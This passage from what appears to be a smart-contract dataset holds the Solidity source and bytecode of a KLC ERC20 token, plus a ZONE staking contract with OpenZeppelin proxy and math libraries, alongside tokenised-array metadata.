[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,815
0x976b1ae4b0edc549cfeab54d05d8276fab9fe3de
pragma solidity ^0.4.24; /****************************************************************** * This is a Kiosk Link Coin(KLC). * * The KLC generated by SUNRICH INTERNATIONAL in HONG KONG, 2021. * * KLC(KILING COIN) * * This KLC can be used as a payment and transaction method * * at affiliated kiosks around the world through store of value. * *******************************************************************/ interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract TokenERC20 { // Public variables of the token string public name; string public symbol; uint8 public decimals = 8; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This generates a public event on the blockchain that will notify clients event Approval(address indexed _owner, address indexed _spender, uint256 _value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constructor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value >= balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; emit Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` on behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens on your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply emit Burn(_from, _value); return true; } }
0x6080604052600436106100b95763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100be578063095ea7b31461014857806318160ddd1461018057806323b872dd146101a7578063313ce567146101d157806342966c68146101fc57806370a082311461021457806379cc67901461023557806395d89b4114610259578063a9059cbb1461026e578063cae9ca5114610292578063dd62ed3e146102fb575b600080fd5b3480156100ca57600080fd5b506100d3610322565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561010d5781810151838201526020016100f5565b50505050905090810190601f16801561013a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015457600080fd5b5061016c600160a060020a03600435166024356103b0565b604080519115158252519081900360200190f35b34801561018c57600080fd5b50610195610416565b60408051918252519081900360200190f35b3480156101b357600080fd5b5061016c600160a060020a036004358116906024351660443561041c565b3480156101dd57600080fd5b506101e661048b565b6040805160ff9092168252519081900360200190f35b34801561020857600080fd5b5061016c600435610494565b34801561022057600080fd5b50610195600160a060020a036004351661050c565b34801561024157600080fd5b5061016c600160a060020a036004351660243561051e565b34801561026557600080fd5b506100d36105ef565b34801561027a57600080fd5b5061016c600160a060020a0360043516602435610649565b34801561029e57600080fd5b50604080516020600460443581810135601f810184900484028501840190955284845261016c948235600160a060020a031694602480359536959460649492019190819084018382808284375094975061065f9650505050505050565b34801561030757600080fd5b50610195600160a060020a0360043581169060243516610778565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103a85780601f1061037d576101008083540402835291602001916103a8565b820191906000526020600020905b81548152906001019060200180831161038b57829003601f168201915b505050505081565b336000818152600560209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60035481565b600160a060020a038316600090815260056020908152604080832033845290915281205482111561044c57600080fd5b600160a060020a0384166000908152600560209081526040808320338452909152902080548390039055610481848484610795565b5060019392505050565b60025460ff1681565b336000908152600460205260408120548211156104b057600080fd5b3360008181526004602090815260409182902080548690039055600380548690039055815185815291517fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59281900390910190a2506001919050565b60046020526000908152604090205481565b600160a060020a03821660009081526004602052604081205482111561054357600080fd5b600160a060020a038316600090815260056020908152604080832033845290915290205482111561057357600080fd5b600160a060020a0383166000818152600460209081526040808320805487900390556005825280832033845282529182902080548690039055600380548690039055815185815291517fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59281900390910190a250600192915050565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103a85780601f1061037d576101008083540402835291602001916103a8565b6000610656338484610795565b50600192915050565b60008361066c81856103b0565b15610770576040517f8f4ffcb10000000000000000000000000000000000000000000000000000000081523360048201818152602483018790523060448401819052608060648501908152875160848601528751600160a060020a03871695638f4ffcb195948b94938b939192909160a490910190602085019080838360005b838110156107045781810151838201526020016106ec565b50505050905090810190601f1680156107315780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561075357600080fd5b505af1158015610767573d6000803e3d6000fd5b50505050600191505b509392505050565b600560209081526000928352604080842090915290825290205481565b6000600160a060020a03831615156107ac57600080fd5b600160a060020a0384166000908152600460205260409020548211156107d157600080fd5b600160a060020a03831660009081526004602052604090205482810110156107f857600080fd5b50600160a060020a038083166000818152600460209081526040808320805495891680855282852080548981039091559486905281548801909155815187815291519390950194927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a3600160a060020a0380841660009081526004602052604080822054928716825290205401811461089757fe5b505050505600a165627a7a723058206ccb146bd4f7f8cce4d9d189f70af93794a09457aeb033f57e959d8c049821340029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 2575, 2497, 2487, 6679, 2549, 2497, 2692, 2098, 2278, 27009, 2683, 2278, 7959, 7875, 27009, 2094, 2692, 2629, 2094, 2620, 22907, 2575, 7011, 2497, 2683, 7959, 29097, 2063, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2484, 1025, 1013, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 2023, 2003, 1037, 11382, 2891, 2243, 4957, 9226, 1006, 1047, 15472, 1007, 1012, 1008, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,816
0x976b35C0923751abEe41D3dd3816eC7acCc8F42B
// SPDX-License-Identifier: GPL-3.0-or-later pragma solidity 0.7.6; import "@openzeppelin/contracts/proxy/TransparentUpgradeableProxy.sol"; import "@openzeppelin/contracts-upgradeable/math/SafeMathUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/SafeERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/ReentrancyGuardUpgradeable.sol"; import "../lib/access/OwnableUpgradeable.sol"; contract ZoneStakingUpgradeable is OwnableUpgradeable, ReentrancyGuardUpgradeable { using SafeERC20Upgradeable for IERC20Upgradeable; using SafeMathUpgradeable for uint256; struct Type { bool enabled; uint16 lockDay; uint256 rewardRate; uint256 stakedAmount; } struct Stake { bool exist; uint8 typeIndex; uint256 stakedTs; // timestamp when staked uint256 unstakedTs; // timestamp when unstaked uint256 stakedAmount; // token amount user staked uint256 rewardAmount; // reward amount when user unstaked } uint256 private constant DENOMINATOR = 10000; Type[] public types; mapping(address => Stake) public stakes; uint256 public totalStakedAmount; uint256 public totalUnstakedAmount; uint256 public stakeLimit; uint256 public minStakeAmount; bool public earlyUnstakeAllowed; IERC20Upgradeable public zoneToken; address public governorTimelock; event AddType(bool enable, uint16 lockDay, uint256 rewardRate); event ChangeType(uint8 typeIndex, bool enable, uint16 lockDay, uint256 rewardRate); event SetStakeLimit(uint256 newStakeLimit); event SetMinStakeAmount(uint256 newMinStakeAmount); event SetEarlyUnstakeAllowed(bool newAllowed); event SetVault(address indexed newVault); event Staked(address indexed staker, uint256 amount, uint8 typeIndex); event Unstaked(address indexed staker, uint256 stakedAmount, uint256 reward); modifier onlyOwnerOrCommunity() { address sender = _msgSender(); require((owner() == sender) || (governorTimelock == sender), "The caller should be owner or governor"); _; } /** * @notice Initializes the contract. * @param _ownerAddress Address of owner * @param _zoneToken ZONE token address * @param _governorTimelock Governor TimeLock address * @param _typeEnables enable status of types * @param _lockDays lock days * @param _rewardRates rewards per day */ function initialize( address _ownerAddress, address _zoneToken, address _governorTimelock, bool[] memory _typeEnables, uint16[] memory _lockDays, uint256[] memory _rewardRates ) public initializer { require(_ownerAddress != address(0), "Owner address is invalid"); stakeLimit = 2500000e18; // 2.5M ZONE minStakeAmount = 1e18; // 1 ZONE earlyUnstakeAllowed = true; __Ownable_init(_ownerAddress); __ReentrancyGuard_init(); zoneToken = IERC20Upgradeable(_zoneToken); governorTimelock = _governorTimelock; _addTypes(_typeEnables, _lockDays, _rewardRates); } function setGovernorTimelock(address _governorTimelock) external onlyOwner() { governorTimelock = _governorTimelock; } function getAllTypes() public view returns(bool[] memory enables, uint16[] memory lockDays, uint256[] memory rewardRates) { enables = new bool[](types.length); lockDays = new uint16[](types.length); rewardRates = new uint256[](types.length); for (uint i = 0; i < types.length; i ++) { enables[i] = types[i].enabled; lockDays[i] = types[i].lockDay; rewardRates[i] = types[i].rewardRate; } } function addTypes( bool[] memory _enables, uint16[] memory _lockDays, uint256[] memory _rewardRates ) external onlyOwner() { _addTypes(_enables, _lockDays, _rewardRates); } function _addTypes( bool[] memory _enables, uint16[] memory _lockDays, uint256[] memory _rewardRates ) internal { require( _lockDays.length == _rewardRates.length && _lockDays.length == _enables.length, "Mismatched data" ); require((types.length + _lockDays.length) <= type(uint8).max, "Too much"); for (uint256 i = 0; i < _lockDays.length; i ++) { require(_rewardRates[i] < DENOMINATOR/2, "Too large rewardRate"); Type memory _type = Type({ enabled: _enables[i], lockDay: _lockDays[i], rewardRate: _rewardRates[i], stakedAmount: 0 }); types.push(_type); emit AddType (_type.enabled, _type.lockDay, _type.rewardRate); } } function changeType( uint8 _typeIndex, bool _enable, uint16 _lockDay, uint256 _rewardRate ) external onlyOwnerOrCommunity() { require(_typeIndex < types.length, "Invalid typeIndex"); require(_rewardRate < DENOMINATOR/2, "Too large rewardRate"); Type storage _type = types[_typeIndex]; _type.enabled = _enable; _type.lockDay = _lockDay; _type.rewardRate = _rewardRate; emit ChangeType (_typeIndex, _type.enabled, _type.lockDay, _type.rewardRate); } function isOpen() public view returns (bool) { return (totalStakedAmount < stakeLimit) ? true : false; } function isStaked(address account) public view returns (bool) { return (stakes[account].exist && stakes[account].unstakedTs == 0) ? true : false; } function setStakeLimit(uint256 _stakeLimit) external onlyOwnerOrCommunity() { require(totalStakedAmount <= _stakeLimit, "The limit is too small"); stakeLimit = _stakeLimit; emit SetStakeLimit(stakeLimit); } function setMinStakeAmount(uint256 _minStakeAmount) external onlyOwnerOrCommunity() { minStakeAmount = _minStakeAmount; emit SetMinStakeAmount(minStakeAmount); } function setEarlyUnstakeAllowed(bool allow) external onlyOwnerOrCommunity() { earlyUnstakeAllowed = allow; emit SetEarlyUnstakeAllowed(earlyUnstakeAllowed); } function startStake(uint256 amount, uint8 typeIndex) external nonReentrant() { address staker = _msgSender(); require(isOpen(), "Already closed"); require(isStaked(staker) == false, "Already staked"); require(minStakeAmount <= amount, "The staking amount is too small"); require(totalStakedAmount.add(amount) <= stakeLimit, "Exceed the staking limit"); require(typeIndex < types.length, "Invalid typeIndex"); require(types[typeIndex].enabled, "The type disabled"); zoneToken.safeTransferFrom(staker, address(this), amount); stakes[staker] = Stake({ exist: true, typeIndex: typeIndex, stakedTs: block.timestamp, unstakedTs: 0, stakedAmount: amount, rewardAmount: 0 }); totalStakedAmount = totalStakedAmount.add(amount); types[typeIndex].stakedAmount = types[typeIndex].stakedAmount.add(amount); emit Staked(staker, amount, typeIndex); } function endStake() external nonReentrant() { address staker = _msgSender(); require(isStaked(staker), "Not staked"); uint8 typeIndex = stakes[staker].typeIndex; uint256 stakedAmount = stakes[staker].stakedAmount; (uint256 claimIn, uint256 reward) = _calcReward(stakes[staker].stakedTs, stakedAmount, typeIndex); require(earlyUnstakeAllowed || claimIn == 0, "Locked still"); stakes[staker].unstakedTs = block.timestamp; stakes[staker].rewardAmount = (claimIn == 0) ? reward : 0; totalUnstakedAmount = totalUnstakedAmount.add(stakedAmount); types[typeIndex].stakedAmount = types[typeIndex].stakedAmount.sub(stakedAmount); zoneToken.safeTransfer(staker, stakedAmount.add(stakes[staker].rewardAmount)); emit Unstaked(staker, stakedAmount, stakes[staker].rewardAmount); } function _calcReward( uint256 stakedTs, uint256 stakedAmount, uint8 typeIndex ) internal view returns (uint256 claimIn, uint256 rewardAmount) { if (types[typeIndex].enabled == false) { return (0, 0); } uint256 unlockTs = stakedTs + (types[typeIndex].lockDay * 1 days); claimIn = (block.timestamp < unlockTs) ? unlockTs - block.timestamp : 0; rewardAmount = stakedAmount.mul(types[typeIndex].rewardRate).div(DENOMINATOR); return (claimIn, rewardAmount); } function getStakeInfo( address staker ) external view returns (uint256 stakedAmount, uint8 typeIndex, uint256 claimIn, uint256 rewardAmount, uint256 capacity) { Stake memory stake = stakes[staker]; if (isStaked(staker)) { stakedAmount = stake.stakedAmount; typeIndex = stake.typeIndex; (claimIn, rewardAmount) = _calcReward(stake.stakedTs, stake.stakedAmount, stake.typeIndex); return (stakedAmount, typeIndex, claimIn, rewardAmount, 0); } return (0, 0, 0, 0, stakeLimit.sub(totalStakedAmount)); } function fund(address _from, uint256 _amount) external { require(_from != address(0), '_from is invalid'); require(0 < _amount, '_amount is invalid'); require(_amount <= zoneToken.balanceOf(_from), 'Insufficient balance'); zoneToken.safeTransferFrom(_from, address(this), _amount); } function finish() external onlyOwner() { for (uint i = 0; i < types.length; i ++) { if (types[i].enabled) { types[i].enabled = false; } } uint256 amount = zoneToken.balanceOf(address(this)); amount = amount.add(totalUnstakedAmount).sub(totalStakedAmount); if (0 < amount) { zoneToken.safeTransfer(owner(), amount); } } uint256[41] private __gap; } contract ZoneStakingUpgradeableProxy is TransparentUpgradeableProxy { constructor(address logic, address admin, bytes memory data) TransparentUpgradeableProxy(logic, admin, data) public { } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./UpgradeableProxy.sol"; /** * @dev This contract implements a proxy that is upgradeable by an admin. * * To avoid https://medium.com/nomic-labs-blog/malicious-backdoors-in-ethereum-proxies-62629adf3357[proxy selector * clashing], which can potentially be used in an attack, this contract uses the * https://blog.openzeppelin.com/the-transparent-proxy-pattern/[transparent proxy pattern]. This pattern implies two * things that go hand in hand: * * 1. If any account other than the admin calls the proxy, the call will be forwarded to the implementation, even if * that call matches one of the admin functions exposed by the proxy itself. * 2. If the admin calls the proxy, it can access the admin functions, but its calls will never be forwarded to the * implementation. If the admin tries to call a function on the implementation it will fail with an error that says * "admin cannot fallback to proxy target". * * These properties mean that the admin account can only be used for admin actions like upgrading the proxy or changing * the admin, so it's best if it's a dedicated account that is not used for anything else. This will avoid headaches due * to sudden errors when trying to call a function from the proxy implementation. * * Our recommendation is for the dedicated account to be an instance of the {ProxyAdmin} contract. If set up this way, * you should think of the `ProxyAdmin` instance as the real administrative interface of your proxy. */ contract TransparentUpgradeableProxy is UpgradeableProxy { /** * @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and * optionally initialized with `_data` as explained in {UpgradeableProxy-constructor}. */ constructor(address _logic, address admin_, bytes memory _data) public payable UpgradeableProxy(_logic, _data) { assert(_ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1)); _setAdmin(admin_); } /** * @dev Emitted when the admin account has changed. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 private constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier used internally that will delegate the call to the implementation unless the sender is the admin. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @dev Returns the current admin. * * NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyAdmin}. * * TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the * https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call. * `0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103` */ function admin() external ifAdmin returns (address admin_) { admin_ = _admin(); } /** * @dev Returns the current implementation. * * NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyImplementation}. * * TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the * https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call. * `0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc` */ function implementation() external ifAdmin returns (address implementation_) { implementation_ = _implementation(); } /** * @dev Changes the admin of the proxy. * * Emits an {AdminChanged} event. * * NOTE: Only the admin can call this function. See {ProxyAdmin-changeProxyAdmin}. */ function changeAdmin(address newAdmin) external virtual ifAdmin { require(newAdmin != address(0), "TransparentUpgradeableProxy: new admin is the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the implementation of the proxy. * * NOTE: Only the admin can call this function. See {ProxyAdmin-upgrade}. */ function upgradeTo(address newImplementation) external virtual ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the implementation of the proxy, and then call a function from the new implementation as specified * by `data`, which should be an encoded function call. This is useful to initialize new storage variables in the * proxied contract. * * NOTE: Only the admin can call this function. See {ProxyAdmin-upgradeAndCall}. */ function upgradeToAndCall(address newImplementation, bytes calldata data) external payable virtual ifAdmin { _upgradeTo(newImplementation); Address.functionDelegateCall(newImplementation, data); } /** * @dev Returns the current admin. */ function _admin() internal view virtual returns (address adm) { bytes32 slot = _ADMIN_SLOT; // solhint-disable-next-line no-inline-assembly assembly { adm := sload(slot) } } /** * @dev Stores a new address in the EIP1967 admin slot. */ function _setAdmin(address newAdmin) private { bytes32 slot = _ADMIN_SLOT; // solhint-disable-next-line no-inline-assembly assembly { sstore(slot, newAdmin) } } /** * @dev Makes sure the admin cannot access the fallback function. See {Proxy-_beforeFallback}. */ function _beforeFallback() internal virtual override { require(msg.sender != _admin(), "TransparentUpgradeableProxy: admin cannot fallback to proxy target"); super._beforeFallback(); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMathUpgradeable { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20Upgradeable.sol"; import "../../math/SafeMathUpgradeable.sol"; import "../../utils/AddressUpgradeable.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20Upgradeable { using SafeMathUpgradeable for uint256; using AddressUpgradeable for address; function safeTransfer(IERC20Upgradeable token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20Upgradeable token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * 